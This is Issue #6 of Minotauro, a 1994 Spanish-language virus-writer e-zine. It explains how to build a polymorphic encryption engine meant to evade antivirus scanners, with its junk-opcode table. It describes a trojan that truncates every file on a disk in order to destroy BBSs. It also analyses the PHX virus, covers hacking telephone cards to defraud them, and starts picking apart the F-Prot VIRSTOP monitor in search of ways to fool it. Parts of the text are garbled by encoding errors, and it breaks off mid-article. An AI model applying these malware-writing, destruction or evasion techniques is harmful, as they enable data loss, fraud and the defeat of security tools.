Minotauro Magazine Issue #6                             Diciembre 10, 1994
A Word from the Editors:

       Kewl. Uhh, sorry. Ya vamos por la edicion #6 de la mino, y se va
para arriba. Como es, ah, les doy un consejo, jamas escriban una editorial
despues de haber festejado el a�o nuevo. Se los digo por experiencia. h�k.

       Dionysios I     : +54-1-253-4389 (23hs a 09hs)
       Dionysios II    : +54-1-253-2098 (23hs a 09hs)

       Horarios en GMT-3

       Cambiando de tema, nos hemos enterado de fuentes confiables de que
muchos de Uds. firman como [DAN]. Muchachos! No es por nada, pero [DAN]
solo somos 12! No 500 como aparecen por ahi. Asi que para evitar CUALQUIER
tipo de dudas, les mandamos una lista COMPLETA de miembros de [DAN]:

+ Lapidario [DAN]
+ Zarathustra [DAN]
+ Drako [DAN]
+ Trurl [DAN]
+ J. Von Neumann [DAN]
+ Morgan [DAN]
+ Wma [DAN]
+ Bugs Bunny [DAN]
+ Digital Kid [DAN]
+ Dr. Retro [DAN]
+ Vixer [DAN]
+ Cancerbero [DAN]
=======================
12 miembros NADA MAS ok ??

       Hoy, 1ero de Enero, siendo las 18:05hs, reeditamos la editorial, ya
que se tardo mucho para definir el futuro de la revista. Si la sacabamos
con entorno, sin entorno, y como para tratar cada idea propuesta para la
revista se tarda demasiado, se atraso casi um mes esta edicion. Pero ya con
casi todo arreglado, esperamos que la proxima salga mas pronto. Ya que
estamos, les comentamos que nos hicieron una nota en la Virus Report
(revista argentina de Virus y otras yerbas, pero con una tendencia
indefinida), y basandonos en estos hechos, consideramos que la nota fue
favorable para la revista, lo que nos da ganas de seguir editandola.

Agradecimientos:
       A Tattoo por habernos hecho reir tanto ultimamente, a Virus Report
por haber cumplido con su promesa de ayudar a los hackers locales a
progresar, a Satanic Brain por haberse pasado a UNIX y hacer cada logon
exitante, a la empresa Reuters por haberle brindado servicios telefonicos a
mucha gente, a TELECOM por no deshabilitar los # y * de sus telefonos
publicos y a EDESUR por dejarnos sin luz TODOS LOS PUTOS DIAS entre las
17hs y 22hs. A todos ustedes: GRACIAS.

       Editorial ................................................ 000
       Mutator parte #1 ......................................... 001
       Virus Willistrover III (PHX) ............................. 002
       Trunker Trojan ........................................... 003
       Tarjetas de Telefucknica parte #2 ........................ 004
       An�lisis del VIRSTOP...................................... 005
       UNIX Tutorial ............................................ 006

                                                 Drako [DAN]
Minotauro Magazine Issue #6

                                 MUTATOR 1.0
                          El Comienzo de la Historia
                                Por Lapidario

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;Se comentara el concepto, desarrollo, implementacion y evaluacion de una
;rutina de polimorfismo. Esta rutina es solo con fines de divulgacion
;quedando a consiencia del usuario final lo que haga con ella. El autor
;LAPIDARIO [DAN] ni los BBS Dionysios I o II, asi como tampoco ninguno de
;los miembros [DAN] se responsabiliza por la informacion brindada aqui asi
;como danos que se podria llegar a causar por el uso indevido de parte de
;los lectores del codigo descripto aqui.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Esta nota consiste de tres articulos. Si usted desea evaluar la rutina
rapidamente le recomiendo leer el file MUTATOR0.TXT.

Junto con el primer articulo se distribuyen los siguientes archivos.

1) MUTATOR0.TXT  Descripcion rapida para avanzados de la mutator.
2) MUTATOR.ASM   Fuente completo y funcional de la mutator.
3) MUTATOR.OBJ   Sin palabras.
4) PRUEBA.ASM    Fuente del programa que testea a la mutator.
5) PRUEBA.OBJ    Sin palabras.
6) PRUEBA.COM    Ejecutable del programa testeador. Corra este programa
                para observar los efectos del polimorfismo.

Encriptacion parte II:
======================
En el articulo anterior terminamos con la siguiente frase:
"Bien ahora la rutina encr_desc ligeramente cambia entre reproducion
y reproduccion.

Es esto la solucion final ?

No, pues aunque se la hemos complicado a los anti todavia una vez estudiado
el codigo los scaners podran usar comodines. Eso si les costara mas trabajo
( he he he... ). Bueno por algo se desarrollo la mutacion !!!!!. Creo para
el metodo de xor ya basta lo explicado.

Como veran la rutina de encriptacion no debe por que ser igual a la de
desencriptacion solo basta con que la segunda desaga los cambios producidos
por la primera.

Por ejemplo se podra encriptar sumando un numero y desencriptar restando, o
rotando x veces cada byte a la derecha y desencriptar rotando a la
izquierda, o etc etc, o una mezcla de todos.

Si usted leyo, ejecuto, medito y comprendio el articulo anterior estoy
seguro que implentar sistemas de encriptacion usando otras operaciones
aritmeticas y logicas (lease add, sub, ror etc...) esta a su alcance. Por
lo anterior discutiremos e implementaremos una rutina basica de
polimorfismo."

Polimorfismo no es mas que un tipo especial de encriptacion de un virus.

Quien se encarga del polimorfear un codigo ?
Una rutina disenada especialmente es la encargada de esta tarea.

Que debe hacer esta rutina ?
Esta rutina debera generar una nueva rutina de encriptacion cada vez que el
virii se quiera reproducir.

Nada mas que eso ?
No tambien debera generar la rutina de desencriptacion adecuada a la de
encriptacion que genero.

En que consiste la rutina de encriptacion ?
Consiste en una secuencia de operaciones matematicas y logicas hechas sobre
los bytes del codigo (not, add, sub, xor, ror, rol, inc, etc ). Ademas
intercalara entre estas instrucciones, otras que no cumplen ningun
cometido, solo estaran para variar la longitud del codigo y para camuflear.

Pero entonces la rutina de encriptacion no tendriamos que guardarla en el
codigo del virus reproducido ?
Por supuesto que no, dado que lo unico que interesa es que la rutina de
DESENCRIPTACION se encuentre en el codigo reproducido.

Que codiciones debe tener la rutina de polimorfismo ?
Debe generar una rutina de encriptacion de tal manera de asegurar que el
virus sea encriptado con un algoritmo lo suficientemente complejo y
variable, de tal manera que no pueda ser desencritado por el antivirus.

Bien, pero como seria todo esto ?
Mas o menos deberia seguir los siguientes pasos: (mas o menos pues puede
ser variado infuenciado por el libre albedrio del autor de cada rutina)

1) Su codigo viral decide que es el momento de infectar un dado archivo,
  entonces llama a la rutina de polimorfismo pasandole a esta los
  parametros necesarios.
2) La rutina de polimorfismo creara en memoria una imagen del codigo
  original del viri (a esta imagen la llamamos vir_imagen.) La rutina de
  polimorfismo creara en memoria una nueva rutina de encriptacion y su
  correspondiente rutina de desencriptacion.
3) La rutina de polimorfismo encriptara el virimagen virus segun la rutina
  generada en el paso 2 y le anexara al comienzo la rutina de
  desencriptacion tambien generada en el paso 2.
4) La rutina devolvera parametros utiles al codigo llamador.
5) Se infecta al archivo victima con la imagen creada en memoria en el
  paso 3.

Bien cuando la nueva victima es ejecutada, lo primero que hara sera
ejecutar la rutina de desencriptacion y luego seguira su ejecucion
normalmente.

Esta rutina de polimorfismo debe escribirse en cada virus que uno haga ?
No, la rutina de polimorfismo debe ser un codigo objeto que pueda ser
linkeada con cualquier virus.

Como indico en el codigo del virus para que use la rutina de mutacion ?
Pues simplemente al comienzo del .ASM usted debe escribir:

        EXTRN    MUTATOR:NEAR

(Asumimos que la rutina mutator esta en el mismo segmento)
Y procede a escribir su codigo como de costumbre hasta que necesita
encriptar el codigo o dicho de otra manera usar la rutina.

;Preparo los registros para pasar parametros y...:

        CALL MUTATOR

Por supuesto que usted debe linkear la mutator.obj junto con su viri.obj
de la siguiente manera:

        TLINK [/t] VIRI.OBJ MUTATOR.OBJ

Si observamos el encabezado de la rutina mutator vemos que la rutina es
definida como PUBLIC esto es para que el codigo del virus pueda hacer uso
de ella, y ademas el tipo de alineacion de segmento es del tipo byte.
Esto indica que el codigo se anexa en cualquier offset. (No nesesariamente
que empiece en 0 quiero decir.)

Como es que la rutina de polimorfismo genera un unico par de rutinas de
encriptacion/desencriptacion ?
Primero que todo debemos tener una rutina que nos permita hallar numeros
aleatorios de 16 bits. Esto puede ser tan sencillo como usar in al, 40h y
usarlo como numero seudoaleatorio o tan complicado como una rutina propia
de de generacion numeros aleatorios. En este articulo de ejemplo usaremos
la rutina randgen:

Esta rutina genera un numero aleatorio en el rango (0 - AX) y se basa en la
generacion de una cadena de maxima longitud, entonces en 16 bits tendremos
una longitud de 2 elevado a la 16. El algoritmo usado responde a la
siguiente exprexion:

        x(n+1)=(2053 * Xn + 13839 ) mod 2^16

Sugerida por McCracken en A Guide to PL/M Programming.
El modulo significa que hay que tomar el residuo de la division del
parentesis por 2^16. Este tipo de generacion de numeros seudoaleatorios
es usado con algunas ligeras modificaciones por otras rutinas de
polimorfismo. Esta rutina no corrompe los registros devolviendo en AX el
numero aleatorio.

En conclucion la generacion de numeros aleatorios esta realizado en 2
rutinas y una variable.

1) Genrand (rutina de generacion y normalizacion)
2) Baser   (genera la semilla para genrand)
3) La variable baserand (se almacena aqui la semilla)

Como datos a la rutina de polimorfismo (llamada de ahora en mas mutator)
le debemos enviar los siguientes datos:

DS:DX :Direccion de comienzo del codigo a encriptar (su virus + la rutina
      mutator)
CX    :Longitud del codigo en bytes (su virus + la rutina mutator)
ES:DI :Zona donde puede trabajar la rutina mutator. Aqui se ubicara el
      codigo encriptado y la rutina de desencriptacion. El codigo
      encriptado contendra a su virus y la rutina mutator. Ademas usara
      una parte memoria para trabajos propios de la rutina.

La rutina mutator una vez realizada la tarea devuelve los siguientes datos:

CX    :Longitud final del viri imagen encriptado con el agregado de la
      rutina desencriptacion.

Los demas registros son devueltos tal cual entraron.

O sea la rutina mutator generara una rutina de desencriptacion que se
agregara a continuacion de ES:DI (inclusive) encriptando segun una rutina
de encriptacion tambien generada por ella desde ES:DI + la longitud de la
rutina de desencriptacion + 1 (inclusive) hasta ES:DI+CX-1 (inclusive).
    (*)
CX que le devuelve la rutina que equivale a la longitud final del viri
imagen.

ESTRUCTURA DEL VIRI IMAGEN:
===========================

ES:DI->   ______________________                       ____
        |                      |  ; LONGITUD              }
        |   RUTINA DE          |  ; VARIABLE              }
        |   DESENCRIPTACION    |  ; DE AX.                }
        |DESENCRIPTA A PARTIR  |  ; MAXIMA LONGITUD=0FFH  } LONGITUD
        |    (A)               |  ;                       } EN BYTES
        |______________________|  ;                       } DE ESTA
A------> | SU COPIA DE VIRI     |                          } PORCION
        | EN MEMORIA           |                          } DEVUELTA
        | ENCRIPTADO SEGUN LA  |                          } EN CX
        | RUTINA DE ENCRIPTACION                          } POR LA
        |                      |                          } RUTINA
        |______________________|                       ___} MUTATOR

Debemos definir que instrucciones utilizaremos para encriptar y
desencriptar. En este ejemplo usaremos las siguientes:

Encriptar:                              Desencriptar:

add .................................... sub
sub .................................... add
xor .................................... xor
ror .................................... rol
rol .................................... ror
inc .................................... dec
dec .................................... inc
not .................................... not

Con esto no basta, devemos definir si estas instruciones se la aplicamos a
bytes a word, etc etc, como asi tambien de que manera direccionamos a los
datos (llamese punteros). Una vez definidos estos puntos podremos
implementar la manera de organizar las rutinas que realizen la tarea de
leer un dato del viri original y lo encripte en memoria como asi tambien la
desencriptacion adecuada.

Como para no complicar la historia definimos por decreto que aplicaremos
las operaciones de encriptacion a " bytes ".

Por otro lado no interesa que la rutina de encriptacion tenga que ser
variable (en cuanto a los registros me refiero), por lo tanto siempre
utilizaremos los mismos registros para manipular los datos.

Para la rutina de desencriptacion:

A) Basicamente tenemos que usar un registro como indice para acceder a los
  datos, usaremos DI o SI. Por lo tanto la rutina mutator debera elegir
  cual de los dos.
B) Como registro de contador podemos elegir: AX,BX,CX o DX
C) Como registro sobre el cual se realiza la operacion de carga
  encriptacion y descarga del dato encriptado, podremos usar cualquiera
  que no se halla usado en B).

Ejemplo:
              Inicializamos DI=puntero      CX=contador
encrip:                                  descrip1:
     mov al,[di]                                 mov al,[di]
     rol al,1                                    inc al
                                                 PII (*)

     dec al                                      ror al,1
     mov [di],ax
     inc di                                      PII
     dec cx                                      mov [di],al
     jnz encrip                                  inc di
                                                 dec cx
                                                 jnz descrip

Pero tambien se podria haber generado esta rutina de desencriptacion.
inicializamos SI=puntero     AX=contador
descrip2:
         mov cl,[si]
         inc cl
         PII (*)
         ror cl,1
         PII
         mov [si],cl
         inc si
         dec ax
         jnz descrip2

Tambien debemos definir las instrucciones que perteneciendo a la rutina de
desencriptacion, estaran solamente para confundir, intercaladas con las
que si hacen la tarea de desencriptar. ((*) Las llamamos PPI)

INSTRUCCION             OP CODE

nop                      90
jc  $+1                  72 00
jnc $+1                  73 00
jz  $+1                  74 00
jnz $+1                  75 00
jpo $+1                  7B 00
jpe $+1                  7A 00
jno $+1                  71 00
jg  $+1                  7F 00
js  $+1                  78 00
xchg  ax,ax              87 C0
xchg  bx,bx              87 DB
xchg  cx,cx              87 C9
xchg  dx,dx              87 D2
or ax,ax                 0B C0
or bx,bx                 0B DB
or cx,cx                 0B C9
or dx,dx                 0B D2
and ax,ax                23 C0
and bx,bx                23 DB

and cx,cx                23 C9
and dx,dx                23 D2
*********************************
PUSH DS                  1E
POP DS                   1F
*********************************
xchg   al,al             86 C0
xchg   bl,bl             86 DB
xchg   cl,cl             86 C9
xchg   dl,dl             86 D2
xchg   ah,ah             86 E4
xchg   bh,bh             86 FF
xchg   ch,ch             86 ED
xchg   dh,dh             86 F6
jmp short $+2            EB 00
mov dx,dx                89 D2
mov sp,sp                89 E4
mov si,si                89 F6
mov bx,bx                89 DB
mov al,al                88 C0

mov bl,bl                88 DB
mov bh,bh                88 FF

mov ah,ah                88 E4
mov cl,cl                88 C9
mov ch,ch                88 ED

mov dl,dl                88 D2
mov dh,dh                88 F6
mov cx,cx                89 C9
mov ax,ax                89 C0

or al,al                 08 C0
or ah,ah                 08 E4
or bl,bl                 08 DB
or bh,bh                 08 FF
or cl,cl                 08 C9
or ch,ch                 08 ED
or dl,dl                 08 D2
or dh,dh                 08 F6

(53d intrucciones inutiles)
En la rutina se almacenan estos opcodes en un vector utilizando como
indicador de separacion de instruccion o conjunto de instrucciones el byte
01. La estructura de este vector sera de la siguiente manera.

byte 1.............NUMERO DE ELEMENTOS DEL VECTOR - 1 (maximo 255)

Codificando el ejemplo anterior a utilizar en la rutina el vector sera:

ins_bag db    34h,90h,01h,72h,00h,01h,73h,00h,01h,74h,00h,01h
       db    75h,00h,01h,87h,0c0h,01h
       db    87h,0dbh,01h,87h,0c9h,01h,87h,0d2h,01h,0bh,0c0h,01h
       db    0bh,0dbh,01h,0bh,0c9h,01h
       db    23h,0c0h,01h,23h,0dbh,01h,23h,0c9h,01h,23h,0d2h,01h
       db    1eh,1fh,01h
       db    086h,0c0h,01h,86h,0dbh,01h,86h,0c9h,01h
       db    86h,0d2h,01h,86h,0e4h,01h,86h,0ffh,01h,86h,0edh,01h
       db    86h,0f6h,01h
       db    0ebh,00h,01h,89h,0d2h,01h,89h,0e4h,01h,89h,0f6h,01h
       db    89h,0dbh,01h
       db    88h,0c0h,01h
       db    7bh,00h,01h,7ah,00h,01h,71h,00h,01h,7fh,00h,01h
       db    78h,00h,01h
       db    88h,0dbh,01h,88h,0ffh,01h,88h,0e4h,01h,88h,0c9h,01h
       db    88h,0edh,01h,88h,0d2h,01h,88h,0f6h,01h,89h,0c9h,01h
       db    89h,0c0h,01h
       db    08h,0c0h,01h,08h,0e4h,01h,08h,0dbh,01h,08h,0ffh,01h
       db    08h,0c9h,01h,08h,0edh,01h,08h,0d2h,01h,08h,0f6h,01h

Usted observara que es posible armar en cada elemento del vector una
secuencia de instrucciones que en relidad no realizen nada util.

Es de entender que dentro de la rutina mutator hay una rutina que realiza
la tarea de incluir estas PPI en el codigo de la rutina de desencriptacion.
Esta rutina se llama "poneppi" y trabaja de la siguiente manera. La rutina
mutator decide que debe poner una o mas instrucciones PPI, entonces llama a
esta rutina que colocara tantas instrucciones PPI como le diga el registro
AX. De ordinario el registro AX es un parametro pasado por la rutina que
llama a "poneppi".

En el fuente de la rutina mutator este AX es cargado con el balor de la EQU
llamada cu_ins_ppi.

Esta rutina hace uso de las siguientes etiquetas:
seg_base:     aqui se almacena ES que le pasa su codigo.
ins_counterx: puntero que en un principio es el DI original.
             Se asemeja a algo asi como el registro IP.
La rutina poneppi una vez que decidio cual instruccion de las contenidas en
el vector ins_bag debe colocar llama a la rutina buscains que requiere como
parametro lo siguiente:

DI=offset donde esta el vector de instrucciones.
AX=cual instruccion de todas las contenidas en el vector.
Devuelve DI con el offset de la intruccion pedida en ax.

Supongase que se termino todo el polimorfismo y entonces la longitud del
codigo imagen sera:

CX=ins_counterx - original_di

Bueno dejamos aqui ...continuara...
DUDAS, CONSULTAS, REPORTE DE BUGS, PUTEADAS AL BBS.                        Minotauro Magazine Issue #6

                                TRUNKER Trojan

    Quien de ustedes quizo volar un BBS pero no pudo por no tener
suficientes conocimientos necesarios o la informaci�n necesaria como para
hacerlo. Seguramente pensaron en aprender a hacer un virus, pero esto no es
necesario ya que lo que estamos buscando es un programa que cuando se
ejecute al instante vuele todo. Para eso vamos a hacer un TROYANO.

Que es un troyano ? Bueno supongo que habr�n leido la Minotauro 2 :-)
Donde decia lo siguiente:

Troyano: Programa especialmente hecho para causar da�o. Se los suele
^^^^^^^^ confundir con los virus, aunque no tienen NADA que ver, excepto el
        hecho de que los troyanos hacen da�o, y algunos virus hacen da�o.
                     =======================

    El troyano esta hecho en C, no toda la vida es Assembler!!! :-)
    Bueno este troyano lo que hace es truncar (dejar en 0 bytes) todos los
    archivos del disco. Para eso se necesita una rutina de recursividad
    para entrada a directorios.

El programa entra al primer directorio que encuentra y trunca los files,
busca el primer directorio donde acaba de entrar y sigue haciendo lo mismo
hasta que no encuentra mas directorios para entrar entonces sale ("..") y
busca el pr�ximo para entrar y hacer lo mismo.

;==========================================================================
;Codigo Fuente en TRUNKER.C
;==========================================================================

Bueno, ahora a volar BBSs!!!, conseguir una cuenta no es muy dificil, si
leyeron la Minotauro 1, la parte de robos de passwords por Drako, aunque no
creo que sea necesario, ya que ahora se valida bastante online si encontras
al sysop para chat y este no es muy normal.
Bueno,...
                 That's all folks
                                          Enjoy, Jason!                   Minotauro Magazine Issue #6:

                          UNIX: Sistema Operativo
                                Multiusuario

       UNIX es un sistema operativo multiusuario. Ustedes se preguntaran
que significa Sistema Operativo Multiusuario?: Es un sistema que permite
ser usado por mas de una persona al mismo tiempo, y dependiendo de su nivel
va a tener un privilegio previamente asignado.

Es un entorno excelente para comunicaciones, ya que posee comandos con ese
proposito. Y posee tres tipos de SHELLS diferentes y cada uno tiene sus
particularidades (no son tema de esta nota). En el directorio raiz esta el
archivo UNIX que es el que bootea el sistema y cada vez que uno configura
alguna cosa ya sea drivers o com's debe re-compilarse.

Lo importante de un sistema bajo unix es saber como conseguir mas
privilegios dentro. El usuario que mas privilegios tiene, en los sistemas
standar se llama root (esto puede cambiarse pero por lo general no lo
cambian). Ademas estos usuarios pertenecen a un grupo. Por ejemplo esta el
grupo bin uno puede incluirse dentro de ellos cuando da el alta de un user!

Veamos algunos commandos:

ls -lia  ;Este comando es como el dir del DOS. ls es el comando y -lia los
        ;parametros.
l        ; "      "     "   "  "   "   "   " pero en equipos con unix S.C.O
cp ori dest ;"    "     "   "  " copy  "   " indicando origen y destino.
mv ori dest ;Este comando mueve archivos se debe indicar origen y dest.
cd nomdir   ;Para cambiar de directorio.
who         ;Da una lista de los usuarios que estan en ese momento en el
           ;Sistema Trabajando!.


Estos son los comandos basicos para moverse dentro del sistema.

Ahora analicemos la estructura de un l o un ls -lia:

-rw-r--r--   1 root     other       1564 Oct 06 08:09 unix.txt

Dividamos la informacion en campos separados por espacios:

-rw-r--r--   <- Estos son los permisos del archivo.

r permiso de lectura
w permiso de escritura
x permiso de ejecucion

Se agrupan de a tres. Ej. -rwxrwxrwx. Expresemoslo asi -rwx,rwx,rwx, tengo
3 campos el primero son los permisos del duenio del archivo, el sugundo
campo indica los permisos a los que pertenecen al grupo el duenio del
archivo  y el tercer campo es para los demas o sea que no son ni el duenio
ni pertenecen al grupo.
Si en el primer campito apareciera una d es porque es un directorio, solo
que en unix todo es archivo solo que se le pone el atributo directorio.
Analicemos el caso dado:

-rw-r--r--   Esto significa permiso de lectura-escritura para el duenio
            y solo de lectura para el grupo y los otros.
            Por supuesto que esto puede ser modificado pero tendriamos
            que tener permiso de escritura.


root     other   ;Nombre del duenio y del grupo repectivamente.

1564          ;Tamanio

Oct 06 08:09  ;Fecha ultima modificacion

unix.txt      ;Nombre del file

Bueno esto es todo por ahora espero que les sirva como para manejarse
dentro de un sistema unix, no van a  ser los hackers de America pero van
a moverse bien.
Si quieren probar un poco no tienen mas que llamar a The Darkness Club y
puede ser que el bbs ese dia este en unix.

En una proxima publicacion les mostrare como cambiar permisos de archivos
y como averiguar que usuarios estan dados de alta en el sistema.

                                          Dark Mind                       Minotauro Magazine Issue #6

                          Virus PHX (Tracker)
                               Por Trurl

    Hoy analizamos un virus nacional que es ya un cl�sico. El PHX (PHX.823
seg�n el F-Prot y el TBAV, Willistrover III seg�n el Scan, y Tracker, seg�n
su autor, Armaged�n).
    No voy a extenderme mucho porque casi todo fue ya dicho por
Bonsembiante en su nota de Virus Report N� 12 (que estoy seguro todos
ustedes tienen) y porque excepto por la activaci�n, el virus no usa
t�cnicas novedosas, solo usa cosas que todos ya conocemos (p.ej. residente
v�a MCB, infecci�n de EXE/COM tradicionales, etc).

% El "rastreador" %
    Las caracter�sticas del virus son bastante comunes, excepto por una
excepcionalmente compleja activaci�n.
    El PHX es un infector residente de COM/EXE. La residencia es mediante
el tradicional m�todo de MCB. Al igual que el CPW, chequea el espacio libre
del disco antes de infectar, y solo lo hace si hay al menos 2 clusters
disponibles. El virus conserva el Time & Date stamp del file, y puede
infectar archivos Read Only. Los m�todos de infecci�n son tambi�n
tradicionales: el JMP al principio del COM, y la manipulaci�n del header
EXE. Al infectar, captura la int 24 a una rutina dummy para evitar mensajes
de errores de disco. Antes de infectar un COM se fija si su size no supera
0FC00h.
    Un bug en el c�digo de instalaci�n de COM produce que el virus quede
mas de una vez en memoria. (Sucede si se corren dos COM infectados).
    El PHX mantiene dos contadores: El primero, es un contador de
infecciones, y lo mantiene dentro del c�digo (en mi ejemplar era 27.
Lindo!). El segundo, es un contador de instalaciones (el n�mero de veces
que el virus se instalo en una maquina) y lo mantiene en el byte 5 de la
CMOS. Este contador es chequeado en la activaci�n. Un detalle est�pido: Al
quedar residente v�a MCB, pone en el "nombre" del MCB (los �ltimos 8 bytes)
los caracteres "SP".
    El virus previene la reinfecci�n mediante la b�squeda de una "marca"
final de 3 bytes. (28,8,93).

% Activaci�n %
    El PHX tiene 3 disparadores. Cuando uno cualquiera de estos satisface
las condiciones necesarias, una variable se pone a 1. Estas 3 condiciones
son:
    1) Un string del environment termina en "PHX". (Esto lo chequea en la
rutina de intercepci�n de la funci�n 4B, antes de infectar).
    2) El port 3E4 devuelve FF. (Esto lo chequea en la misma rutina,
despu�s de infectar).
    3) Se esta ejecutando un programa que el reconoce (Esto lo verifica en
la rutina de intercepci�n de la 3D02. El virus compara un c�digo que tiene
con el del CS:IP llamador, osea, el c�digo al que retornar� la INT.)
    La rutina de activaci�n "en si" esta en la rutina de intercepci�n de
la funci�n 40. Si la variable de activaci�n esta en 1, chequea que el
contador de instalaciones sea mayor a 128 (80h). Esto hace que la
activaci�n sea sumamente lenta. Ahora bien, si todo esto sucede, lo UNICO
que hace el virus es switchear el bit mas alto del �ltimo byte que se
escribe v�a esta llamada a INT 40, y esto lo hace mediante un XOR [], 80h.
Osea, si el bit esta en 1, pasara a estar en 0, y viceversa. Esto si que es
un ataque LENTO. :-). Un BIT cada vez.

% Conclusi�n %
    Quiz� el virus infector de COM/EXE mas viejo de la Argentina... una
activaci�n de una complejidad de la puta madre... bueno, ac� esta, m�renlo:

;---- Cut Here ------------------------------------------------------------
;Codigo Fuente en TRACKER.ASM
;--------------------------------------------------------------------------

    Bueno ya no les digo "cortar, pegar, ensamblar" porque ahora Drako los
corta �l los sources. Ah, y por fin un virus al que no le tengo que hacer
ning�n fix para tener un byte-a-byte match compilando con TASM 3.1! Al fin!
Saludos a Armagedon, y a todos uds. y hasta el pr�ximo virus...
                                          Trurl TGC [DIN DON DAN]         Minotauro Magazine Issue #6

                            Tarjetas Telef�nicas
                              (Segunda parte)
                   J. Von Neumann & B. Bunny (c) 1994 [DAN]


 Antes que nada vamos a clarar algunos puntos del nro 1 de esta nota.

 Primero, el circuito interno de la targeta. Despues de ver el articulo
 publicado nos dimos cuenta que el grafigo era una verdadera garcha. Por
 eso afanams uno de por ahi, que es un poco mas tecnico, y que quiza le
 de a aquellos que estudian o entienden de electronica una idea mas clara
 del hard de la targeta. Recortenlo, encuadrenlo y cuenguenlo en su
 habitacion.

Diagrama en bloques:


  ����������������������������������������������������������������������Ŀ
  �                                                                      �
  � ��Ŀ                                                                 �
  � �CK�������������Ŀ                                                   �
  � ����             �                                                   �
  � ���Ŀ     ������������Ŀ Reset���������������Ŀ                     �
  � �R/W�����>�             ������>�               �                     �
  � �����     �             �      �CONTADOR 8 BITS�                     �
  � �����Ŀ   �DECODIFICADOR� Inc  �               �                     �
  � �Reset���>�             ������>�               �                     �
  � �������   ���������������      �����������������                     �
  �            E�          4 BITS    �     �4 BITS                       �
  �            s�      ���������������     �                             �
  �            c�      �  ���Ŀ    �������������Ŀ    ���Ŀ             �
  �            r�      �  �   �    �  DEC.   Y    �    �   �             �
  �            i�      �  �   �    ����������������    �   �             �
  �            t�      �  �   �            �16 BITS    �   �             �
  �            u�      �  � D �    �������������Ŀ    �   �             �
  �            r�      �  � E �    �    Addr Y    �    � D �             �
  �            a�      �  � C �    �A             �    � R �             �
  �             �      �  � . �16 B�d             �    � I �             �
  �             �      ��>�   ����>�d   MEMORIA   ����>� V �             �
  �             �         � X �    �r    PROM     �    � E �             �
  �             �         �   �    �              �    � R �             �
  �             �         �   �    �X  R/W  Vpp   �    �   �             �
  �             �         �   �    ����������������    �   �             �
  �             �         �   �        ^     ^         �   �             �
  �             �         �   �    ������������Ŀ    �   �             �
  � ����Ŀ      �         �����    �  DRIVER DE   �    �����             �
  � �Fuse��Ŀ   �                  �  ESCRITURA   �      �         ���Ŀ �
  � ������  �   �                  ����������������      ���������>�I/O� �
  �       ������������������Ŀ       ^       ^                   ����� �
  �       �Logica de Proteccion�       �       �                   ���Ŀ �
  �       �de escritura.       ���������       �������������������ĴVpp� �
  �       �(compuerta tipo AND)�                                   ����� �
  �       ����������������������                                         �
  �                                                                      �
  ������������������������������������������������������������������������


 Otra cosa por aclarar es lo sig : El terminal de datos lo llamamos I/O
 por convension, pues asi se lo llama en todas las memorias. Pero por
 este terminal solo SALEN datos, pues en modo escritura la targeta graba
 un '1' por default, sin importar si en I/O hay un '1' o un '0'.

 Hay muchos que nos preguntaron para que carajo servia 'Fuse'. La cosa es
 facil. Los primeros 96 bits son accesibles si el fusible que esta en esa
 pata esta intacto. Luego de haber programado la targeta ( nro de serie,
 cantidad de pulsos, etc ), se aplica a este terminal -40 V con respecto a
 masa, quemando el fusible. Asi, esa zona de datos ya no podra ser
 modificada.

Mapa de memoria :

                   0����������������Ŀ8
                    �                �
                    �                � Zona protegida
                    �                � contra escritura
                    �                � por fusible de bloqueo.
                    �                �
                    ����������������Ĵ
                  96�                �
                    �                �
                    �                � Zona no protegida.
                    �                �
                    �                �
                    �                �
                    �                �
                    ������������������255


 Si se fijan por ahi hay dos graficos .GIF (by Dr Retro), uno muestra
 el diagrama de tiempos de la targeta en modo lectura y escritura. Aclara
 un poco el panorama de como el tel se comunica con el puto chip.
 Vamos a darle un breve repaso.

 Reset:
 La targeta se resetea poniendo Reset a '0', y aplicando un pulso de
 clock. Esto hace que el contador interno se resetee tambien, apuntando al
 primer bit ( bit 0 ).

 Lectura:                                      _
 Para lectura Reset debe estar a nivel alto, y R/W a nivel bajo.
 La salida esta siempre activa, y el contador de direcciones se incrementa
 con los flancos negativos de la se�al de clock.
 Luego de la operacion de Reset aparece en I/O el bit 0, luego del 1er
 pulso de clock el bit 1, y asi. Luego de llegar a 255 el contador pasa a
 0 de nuevo, mostrando el bit 0.

 Escritura:                                                 _
 Para escritura Reset debe esta a nivel alto, Vpp en 21V, y R/W en nivel
 alto. Estas condiciones se deben mantener con Clock en nivel bajo de 10
 a 50 ms, y luego poner Clock en nivel alto de 10 a 50 ms.
 Si el contador esta apuntando al area protegida, la operacion no tendra
 exito. Si esta apuntando despues de los 96 primeros bits, al bajar R/W a
 '0' ( lectura) aparecera automaticamente el dato grabado a modo de
 verificacion.

 Bien, el otro .GIF muestra el circuito para poder conectar la targeta a
 la PC. Es bastante sencillo, no requiere de grandes conocimientos para
 armarlo.
 Para hacer contacto con la targeta nosotros destripamos un conector tipo
 slot hembra de PC, sacamos los contactos y los soldamos en una plaqueta
 de pertinax cobreada. Luego conectamos cables al circuito y de ahi al
 conector DB25 que se conecta en LPT1.
 Recomendamos antes de conectar nada a la PC revisar muy bien lo que hemos
 hecho. Que los diodos esten bien puestos ( la rayita del grafico
 corresponde a la rayita que tiene dibujado sobre el encapsulado), lo
 mismo que los Transistores.

 Una vez que este todo corremos LECTOR.EXE que viene con esta entrega de
 su zine preferido y ... HUALA, ya podemos hurgar las targetas y pensar en
 como cagarlas.

 Por ahora nada mas.
 Enjoy it!

                                               J. Von Neumann [DAN]
                                               Bugs Bunny [DAN]           MinoTaurio Magazine Issue # 6

                  ������������������������������
                       An�lisis del VIRSTOP
                          by WM� [DAN]
                  ������������������������������

El Virstop es el m�dulo residente que viene junto con el antivirus F-Prot
de Fridrik Skulason.

La idea de este articulo es ver como es el comportamiento interno de este
programa, tanto para satisfacer nuestra curiosidad como para encontrar
formas nuevas de enga�ar a este, modificar su comportamiento o lo que sea
generado por sus respectivas imaginaciones, veamos entonces...

(la versi�n analizada es la adjunta con el F-Prot 2.15, no creo que haya
muchas diferencias entre versi�n y versi�n pero est�n asvertidos..)

Pues bien, el VIRSTOP (a partir de ahora VS) captura las interrupciones
21h, 2fh, 13h y 15h. Despues por medio de la int 2fh va activando y
desactivando el monitoreo que hace mediante cada una de estas.

Los handlers de dichas interrupciones est�n en los siguientes offsets:

